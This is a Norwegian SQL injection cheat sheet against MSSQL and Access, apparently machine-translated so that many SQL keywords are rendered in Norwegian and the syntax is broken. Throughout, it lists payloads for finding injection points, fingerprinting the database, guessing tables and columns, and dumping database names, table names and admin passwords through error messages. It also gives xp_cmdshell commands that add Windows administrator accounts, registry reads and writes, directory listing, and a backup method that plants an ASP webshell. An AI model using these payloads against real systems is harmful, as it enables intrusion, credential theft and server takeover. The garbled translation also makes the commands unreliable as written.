1. Fastslå om det foreligger en injeksjon ; og 1=1 ; og 1=2
2. Foreløpig vurdering av om det er mssql ; og bruker>0
3. Vurdere databasesystemet ; og (velg antall(*) fra sysobjects)>0 mssql ; og (velg antall(*) fra msysobjects)>0 tilgang
4. Injeksjonsparameteren er et tegn 'og [spørringskriterier] og ''='
5. Det finnes ingen filtrerte parametere under søket 'og [søkekriterier] og '%25'='
6. Gjett navnet på bordet ; og (velg antall(*) fra [tabellnavn])>0
7. Gjett feltet ; og (velg Count (feltnavn) fra tabellnavn)>0
8. Gjett lengden på rekorden i felten ; og (velg topp 1 len(feltnavn) fra tabellnavn)>0
9. (1) Gjett ASCII-verdien til feltet (tilgang) ; og (velg topp 1 ASC(midt(feltnavn, 1,1)) fra tabellnavn)>0
(2) Gjett ASCII-verdien til feltet (mssql) ; og (velg øverste 1 unicode(substring(feltnavn,1,1)) fra tabellnavn)>0
10. Testtillatelsesstruktur (mssql) ; og 1=(velg IS_SRVROLEMEMBER('sysadmin')); -- ; og 1=(velg IS_SRVROLEMEMBER('serveradmin')); -- ; og 1=(velg IS_SRVROLEMEMBER('setupadmin')); -- ; og 1=(velg IS_SRVROLEMEMBER('securityadmin')); -- ; og 1=(velg IS_SRVROLEMEMBER('diskadmin')); -- ; og 1=(velg IS_SRVROLEMEMBER('bulkadmin')); -- ; og 1=(velg IS_MEMBER('db_owner')); --
11. Legg til en konto for mssql og systemet ; executive master.dbo.sp_addlogin brukernavn; -- ; exec master.dbo.sp_password null, brukernavn, passord; -- ; exec master.dbo.sp_addsrvrolemember sysadmin-brukernavn; -- ; exec master.dbo.xp_cmdshell 'nettbrukerbruker-passord /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 'nettbrukerbruker-passord /add'; -- ; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators brukernavn /Add'; --
12. (1) Gå gjennom katalogen ; Lag tabell-dirs (paths varchar(100), id int) ; sett inn dirs executive master.dbo.xp_dirtree 'c:\' ; og (velg topp 1 stier fra dirs)>0 ; og (velg topp 1-stier fra dirs hvor stier ikke er i('stier hentet fra forrige steg'))>)
(2) Gå gjennom katalogen ; lag tabelltemperatur (id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); -- ; sett inn midlertidig leder master.dbo.xp_availablemedia; -- Få alle strømstasjoner ; sett inn i temp(id) executive master.dbo.xp_subdirs 'c:\'; -- Få en liste over underkataloger ; sett inn i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hent katalogtrestrukturen for alle underkataloger ; sett inn i temp(id) executive master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Se innholdet i filen
13. Lagrede prosedyrer i mssql xp_regenumvalues Registerrotnøkkel, barnenøkkel ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' returnerer alle nøkkelverdier i flere postsett xp_regread Rotnøkkel, barnenøkkel, nøkkel-verdi-navn ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' returnerer verdien av set-nøkkelen xp_regwrite Rotnøkkel, barnenøkkel, verdinavn, verditype, verdi Det finnes to typer verdityper REG_SZ REG_DWORD for tegntyper, og for heltall ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' til registeret xp_regdeletevalue Rotnøkkel, undernøkkel, verdinavn exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' for å fjerne en verdi xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' for å fjerne nøkkelen, inkludert alle verdier under den nøkkelen
14. MSSQL-backup lager en webshell Bruksmodell opprette tabell-cmd (STR-bilde); sett inn i cmd(str)-verdier ('<% Dim oScript %>'); Backup databasemodell til disk='c:\l.asp';
15. MSSQL innebygde funksjoner ; og (velg @@version)>0 for å få versjonsnummeret til Windows ; og user_name()='dbo' for å avgjøre om den tilkoblede brukeren av det nåværende systemet er SA ; og (velg user_name())>0 Eksploderte de tilkoblede brukerne av det nåværende systemet ; og (velg db_name())>0 for å hente den nåværende tilkoblede databasen
MSSQL håndannotert databasebrudd
1. Eksponer det nåværende tabellnavnet og kolonnenavnet Send inn "'having 1=1--" etter injeksjonspunktet for å få returmeldingen på engelsk, hvor du kan se et tabellnavn og et kolonnenavn. Send inn «group by the listname with the 1=1--» for å få et nytt kolonnenavn; Fortsett å sende inn "group by listen over den eksponerte tabellens navn, navnet på den eksponerte tabellen." Det andre kolonnenavnet har 1=1--", som gir deg et annet kolonnenavn. Forplikt på samme måte til siden ikke lenger returnerer feilmeldinger for å hente alle kolonnenavnene. Trivia: Voldelige tabellnavn og kolonnenavn brukes i kombinasjon med GROUP BY i SQL-setninger for å gjøre betingede vurderinger. Fordi setningen er ufullstendig, returnerer databasen en feilmelding og viser et tabellnavn og et kolonnenavn. Den grunnleggende metoden kan bare eksponere den nåværende tabellen i databasen, og hvis en tabell inneholder mange kolonnenavn, er det veldig vanskelig å bruke den grunnleggende metoden.
Først. Alle databasenavn er eksponert Bruk setningen "and 0<>(select count(*) from master.dbo.sysdatabases der name>1 og dbid=[N])" for å eksponere vilkårlige tabellnavn og kolonnenavn i databasen, der "[N]" representerer den n-te tabellen i databasen. Trinn 1: Etter å ha injisert punktet, send inn følgende setning: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", fordi verdien av dbid er fra 1 til 5, som brukes av systemet, så brukeren må ha bygget det fra 6, og vi sendte inn navnet>1, navnefeltet er et tegntypefelt, og tallsammenligningen vil være feil, så etter innsending vil IE returnere følgende informasjon: "Microsoft OLE DB Provider for ODBC Drivers feil ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] konverterer nvarchar-verdien 'Northwind' til datatype int kolonne. På denne måten eksponeres verdien av navnefeltet, det vil si at vi får et databasenavn "Northwind". Å endre verdien av "dbid" kan hente alle databasenavnene.
og 0<>(velg tell(*) fra master.dbo.sysdatabases hvor name>1 og dbid=[N])-- Endre N for å eksplodere alle databasenavn fra 6
For det andre. Eksponer alle tabellnavn i den angitte databasen Etter å ha fått databasenavnet, må du nå hente alle tabellnavnene i biblioteket, sende inn følgende setning: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", her er tabellnavnet i masterdatabasen, og SQL-setningen til spørringen returnerer verdien av navnet, og sammenlign det med tallet 0, slik at verdien av navnet blir eksponert. Etter innsending ble navnet på bordet "'spt_monito" avslørt. Deretter blir de andre tabellene eksponert, og følgende setning sendes inn: "and 0<>(select top 1 name from master.dbo.sysobjects hvor xtype='U' og navn ikke i('spt_monito'))", og en annen tabell kalt "cd512" eksponeres. Fil "og navn ikke i(' spt_monito',' CD512',..))" Du kan finne ut alle bordnavnene.
og 0<>(velg øverste 1-navn fra [spesifiser databasenavn].dbo.sysobjects hvor xtype='U')-- og 0<>(velg øverste 1-navn fra [spesifiser databasenavn].dbo.sysobjects hvor xtype='U' og navn ikke er i('[Eksplodert tabellnavn]'))-- og 0<>(velg øverste 1-navn fra [spesifiser databasenavn].dbo.sysobjects hvor xtype='U' og navn ikke er i('[Eksplosivt tabellnavn]', '[Eksplodert andre tabellnavn]')))--
4. Eksponer alle kolonnenavn i den angitte tabellen og 0<>(velg tell(*) fra bbs.dbo.sysobjects hvor xtype='U' og name='admin' og uid>(str(id))) Konverter ID-verdien til en tegntype og sammenlign den deretter med en heltallsverdi. ID-nummeret er ute. Verdien er: 949578421 navn='tabellnavn'
og 0<>(velg øverste 1-navn fra wutong.dbo.syscolumns hvor id=949578421)-- Et feltnavn i admin-tabellen eksponeres
Send inn på nytt og 0<>(velg navn topp 1 fra wutong.dbo.syscolumns hvor id=949578421 og navn ikke er i('adduser')))-- Fil "og navn ikke i(' spt_monito',' CD512',..))" Du kan finne alle feltnavnene i admin-tabellen.
og 0<>(velg tell(*) fra [spesifiser databasenavn].dbo.sysobjects hvor xtype='U' og name='[Tabellnavn på felt som skal eksploderes]' og uid>(str(id)))--ID-verdien til tabellnavnet til feltet som skal eksploderes.
og 0<>(velg øverste 1-navn fra [spesifiser databasenavn].dbo.syscolumns hvor id=eksplodert id-verdi)-- Navnet på et felt i eksploderende id-verditabellen
og 0<>(velg øverste 1-navn fra [spesifiser databasenavn].dbo.syscolumns hvor id=Eksplosiv id-verdi og navn ikke er i('[Eksplodert feltnavn]')))--
5. Les dataene i den angitte tabellen
og 0<(velg A_ID fra wutong.dbo.admin hvor A_UserID>1) – innholdet som brøt A_PWD
og 0<(velg [et felt som eksisterer] fra [spesifiser databasenavn].dbo.[tabellnavn til spørring] hvor [feltnavn for å eksplodere innhold]>1)--
og 0<(velg A_ID fra wutong.dbo.admin hvor A_PWD>1 og A_UserID='admin')-- Passordet til adminen er avslørt
og 0<(Velg Top 1 A_UserID FRA admin hvor A_ID<>1)-- Administratornavnet id<>1 (fuhao)
og 0<(Velg topp 1 A_UserID FRA admin hvor A_ID <>1 og A_UserID <> 'fuhao')-- Navnet på den andre administratoren <> ikke lik (tuiguang)
og 0<(Velg topp 1 A_UserID FRA admin hvor A_ID <>1 og A_UserID <> 'fuhao' og A_UserID <> 'tuiguang')--
Etter å ha kjent tabellnavnet og kolonnenavnet til databasen, kan du bruke "query-setningen" for å lese all informasjon i databasen. For eksempel, hvis du vil lese den n-te dataen i en kolonne i en tabell, kan du sende inn setningen: "og (Velg topp 1-kolonnenavn FRA tabellnavn hvor id=[N])>1" ([N] representerer den n-te dataen i kolonnen), og du kan kjenne ønsket data fra informasjonen som returneres av IE.
|